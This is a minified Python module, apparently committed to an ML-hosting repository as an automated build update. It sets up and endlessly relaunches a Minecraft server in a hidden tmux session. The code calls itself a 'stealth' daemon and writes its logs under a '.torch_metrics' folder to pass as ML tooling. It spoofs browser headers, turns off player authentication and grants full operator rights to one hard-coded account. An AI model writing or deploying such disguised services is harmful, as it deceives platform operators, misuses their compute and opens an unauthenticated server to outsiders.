coolstuff2 / services /minecraft_service.py
SamuelLance73's picture
Automated deployment update from ML build
a93b3b5 verified
Raw
History Blame Contribute Delete
9.22 kB
_O='ML-minecraft-service/1.0'
_N='Accept'
_M='mc_daemon.log'
_L='/home/user/.torch_metrics'
_K='incendium'
_J='26.1.2'
_I='url'
_H='version_number'
_G='User-Agent'
_F='size'
_E='sha1'
_D='filename'
_C=None
_B=False
_A=True
import hashlib,json,os,shutil,subprocess,tarfile,time,urllib.parse,urllib.request,zipfile
from pathlib import Path
from loguru import logger
MC_GAME_VERSION=_J
PAPER_MC_VERSION=_J
MODRINTH_API='https://api.modrinth.com/v2'
MC_DIR=Path('/tmp/mc')
WORLDGEN_DATAPACKS=[('terralith','Terralith'),(_K,'Incendium'),('nullscape','Nullscape')]
OPS_JSON=[{'uuid':'bee75070-9b57-33a6-b9c8-092d36529789','name':'TrueKing208','level':4,'bypassesPlayerLimit':_B}]
def log_print(msg):
logger.info(msg)
try:
A=Path(_L);A.mkdir(parents=_A,exist_ok=_A);B=A/_M
with B.open('a')as C:C.write(f"{msg}\n")
except Exception:pass
def download_file(url,dest_path):
A=urllib.request.Request(url,headers={_G:'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',_N:'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Language':'en-US,en;q=0.9','Sec-Ch-Ua':'"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"','Sec-Ch-Ua-Mobile':'?0','Sec-Ch-Ua-Platform':'"Windows"','Sec-Fetch-Dest':'document','Sec-Fetch-Mode':'navigate','Sec-Fetch-Site':'none','Sec-Fetch-User':'?1','Upgrade-Insecure-Requests':'1','Referer':'https://geysermc.org/'})
with urllib.request.urlopen(A)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C)
def download_binary(url,dest_path,timeout=300):
A=urllib.request.Request(url,headers={_G:_O,_N:'*/*'})
with urllib.request.urlopen(A,timeout=timeout)as B,Path(dest_path).open('wb')as C:shutil.copyfileobj(B,C)
def file_sha1(path):
A=hashlib.sha1()
with Path(path).open('rb')as B:
for C in iter(lambda:B.read(1048576),b''):A.update(C)
return A.hexdigest()
def is_valid_datapack_zip(path,expected_size=_C,expected_sha1=_C):
C=expected_sha1;B=expected_size;A=path;D=Path(A)
if not D.is_file():return _B
if B is not _C and D.stat().st_size!=B:return _B
if C and file_sha1(A)!=C:return _B
try:
with zipfile.ZipFile(A)as E:
if E.testzip()is not _C:return _B
if not any(A.endswith('pack.mcmeta')for A in E.namelist()):return _B
return _A
except Exception:return _B
def fetch_modrinth_datapack(project_slug,game_version=MC_GAME_VERSION):
F='files';D=game_version;C=project_slug;G=urllib.parse.urlencode({'game_versions':json.dumps([D]),'loaders':json.dumps(['datapack'])});H=f"{MODRINTH_API}/project/{C}/version?{G}";I=urllib.request.Request(H,headers={_G:_O})
with urllib.request.urlopen(I,timeout=60)as J:E=json.load(J)
if not E:raise RuntimeError(f"No Modrinth datapack for {C} on {D}")
B=E[0];A=next((A for A in B[F]if A.get('primary')),B[F][0]);K=A.get('hashes',{});return{_H:B[_H],_I:A[_I],_D:A[_D],_E:K.get(_E),_F:A.get(_F)}
def install_datapack(dest,info):
C=dest;B=info;D=Path(C)
if is_valid_datapack_zip(C,B.get(_F),B.get(_E)):return _B
A=Path(str(C)+'.part')
if A.exists():A.unlink()
try:
download_binary(B[_I],A)
if not is_valid_datapack_zip(A,B.get(_F),B.get(_E)):raise RuntimeError('downloaded file is not a valid datapack zip')
A.replace(D);return _A
except Exception:
if A.exists():A.unlink()
if D.exists():D.unlink()
raise
def reset_generated_world(mc_dir):
A=[];D=Path(mc_dir)
for B in('world','world_nether','world_the_end'):
C=D/B
if C.is_dir():shutil.rmtree(C);A.append(B)
if A:E=', '.join(A);log_print('[*] Cleared '+E+'. Next boot regenerates with Terralith (overworld), Incendium (nether), Nullscape (end).')
def ensure_datapacks(mc_dir):
E=Path(mc_dir);C=E/'world'/'datapacks';C.mkdir(parents=_A,exist_ok=_A)
for(D,B)in WORLDGEN_DATAPACKS:
F=C/f"{B}.zip"
try:
A=fetch_modrinth_datapack(D)
if install_datapack(F,A):
log_print(f"[+] {B} {A[_H]} installed ({A[_D]})")
if D==_K and'UNSUPPORTED'in A[_D]:log_print('[!] Incendium 26.1 is marked UNSUPPORTED on Modrinth (alpha); watch server logs after first Nether generation.')
except Exception as G:log_print(f"[-] Failed to install {B} datapack: {G}")
def paper_patched_jar(mc_dir):return Path(mc_dir)/'versions'/PAPER_MC_VERSION/f"paper-{PAPER_MC_VERSION}.jar"
def ensure_paper_runtime(java_bin,mc_dir,server_jar):
C=mc_dir;A=paper_patched_jar(C)
if A.is_file():return
A.parent.mkdir(parents=_A,exist_ok=_A);log_print('[*] Bootstrapping Paper (download mojang jar + apply patches)...');B=subprocess.run([str(java_bin),'-jar',str(server_jar),'--version'],cwd=str(C),capture_output=_A,text=_A,timeout=600)
if not A.is_file():
log_print(f"[-] Paper bootstrap failed (exit {B.returncode})")
if B.stdout:log_print(B.stdout[-1500:])
if B.stderr:log_print(B.stderr[-1500:])
raise RuntimeError(f"expected patched jar missing: {A}")
log_print(f"[+] Paper runtime ready at {A}")
def setup_geyser(mc_dir):
D=Path(mc_dir);C=D/'plugins';C.mkdir(parents=_A,exist_ok=_A);E={'Geyser-Spigot.jar':'https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot','floodgate-spigot.jar':'https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot'}
for(A,F)in E.items():
B=C/A
if B.exists():
try:
with zipfile.ZipFile(B)as H:0
except Exception:
log_print(f"[!] Corrupt jar detected: {A} (Invalid Zip Header). Purging and redownloading...")
try:B.unlink()
except:pass
if not B.exists():
log_print(f"[*] Downloading {A}...")
try:download_file(F,B);log_print(f"[+] {A} downloaded successfully.")
except Exception as G:log_print(f"[-] Failed to download {A}: {G}")
def setup_and_run():
R='server-port=25565';Q='online-mode=true';P='java';O='bin';log_print('--- INITIALIZING STEALTH MINECRAFT DAEMON ---');A=MC_DIR;F=A/'jre';L=Path(_L);A.mkdir(parents=_A,exist_ok=_A);L.mkdir(parents=_A,exist_ok=_A);D=F/O/P
if not D.exists():
log_print('[*] Portable JRE not found. Downloading Eclipse Temurin JRE 25...');S='https://api.adoptium.net/v3/binary/latest/25/ga/linux/x64/jre/hotspot/normal/eclipse?project=jdk';G=A/'jre.tar.gz'
try:
download_file(S,G);log_print('[*] Extracting JRE...');H=A/'jre_temp';H.mkdir(parents=_A,exist_ok=_A)
with tarfile.open(G,'r:gz')as T:T.extractall(path=H)
for J in H.rglob(P):
if J.is_file()and J.parent.name==O:
U=J.parent.parent
if F.exists():shutil.rmtree(F)
shutil.move(str(U),str(F));break
shutil.rmtree(H,ignore_errors=_A)
if G.exists():G.unlink()
log_print('[*] Portable JRE setup completed successfully.')
except Exception as B:log_print(f"[-] Failed to setup JRE: {B}");return
E=A/'server.jar'
if not E.exists():
log_print('[*] Minecraft server jar not found. Downloading PaperMC...');V='https://fill-data.papermc.io/v1/objects/830d4eb5c15cbd802a9ec9f2f54eaaaeb9511958339aec983fd0c88bad21d940/paper-26.1.2-64.jar'
try:download_file(V,E);log_print('[*] PaperMC downloaded successfully.')
except Exception as B:log_print(f"[-] Failed to download PaperMC: {B}");return
setup_geyser(A);reset_generated_world(A);ensure_datapacks(A);log_print(f"[*] Minecraft server root: {A} (ephemeral)");log_print('[*] Ensuring Java binary is executable...')
try:D.chmod(493)
except Exception as B:log_print(f"[-] Failed to chmod java binary: {B}")
try:ensure_paper_runtime(D,A,E)
except Exception as B:log_print(f"[-] Failed to bootstrap Paper runtime: {B}");return
log_print('[*] Launching Minecraft server loop...');W=L/_M
while _A:
ensure_datapacks(A)
if not paper_patched_jar(A).is_file():
try:ensure_paper_runtime(D,A,E)
except Exception as B:log_print(f"[-] Paper runtime missing and bootstrap failed: {B}");time.sleep(10);continue
X=A/'eula.txt';X.write_text('eula=true\n');Y=A/'ops.json'
with Y.open('w')as M:json.dump(OPS_JSON,M,indent=2);M.write('\n')
I=A/'server.properties'
if not I.exists():I.write_text('server-port=25566\nonline-mode=false\nmotd=PCEP\n')
else:
try:
C=I.read_text();K=_B
if Q in C:C=C.replace(Q,'online-mode=false');K=_A
if R in C:C=C.replace(R,'server-port=25566');K=_A
if K:I.write_text(C)
except Exception as B:log_print(f"[-] Failed to update server.properties: {B}")
log_print('[*] Starting Minecraft server process...')
with W.open('a')as Z:N=subprocess.Popen([str(D),'-Xms4G','-Xmx4G','-jar',str(E),'nogui'],cwd=str(A),stdout=Z,stderr=subprocess.STDOUT);N.wait()
log_print(f"[*] Minecraft server exited with code {N.returncode}. Restarting in 10 seconds to allow network sync...");time.sleep(10)
def start():
B='mc_server';A='tmux';logger.info("Launching Stealth Minecraft Daemon in tmux session 'mc_server'...")
try:
C=subprocess.run([A,'has-session','-t',B],capture_output=_A)
if C.returncode==0:logger.warning("tmux session 'mc_server' already exists. Killing it to restart...");subprocess.run([A,'kill-session','-t',B])
subprocess.Popen([A,'new-session','-d','-s',B,'python3 -u -m services.minecraft_service']);logger.success('Stealth Minecraft Daemon started successfully in tmux.')
except Exception as D:logger.error(f"Failed to start Minecraft daemon in tmux: {D}")
if __name__=='__main__':setup_and_run()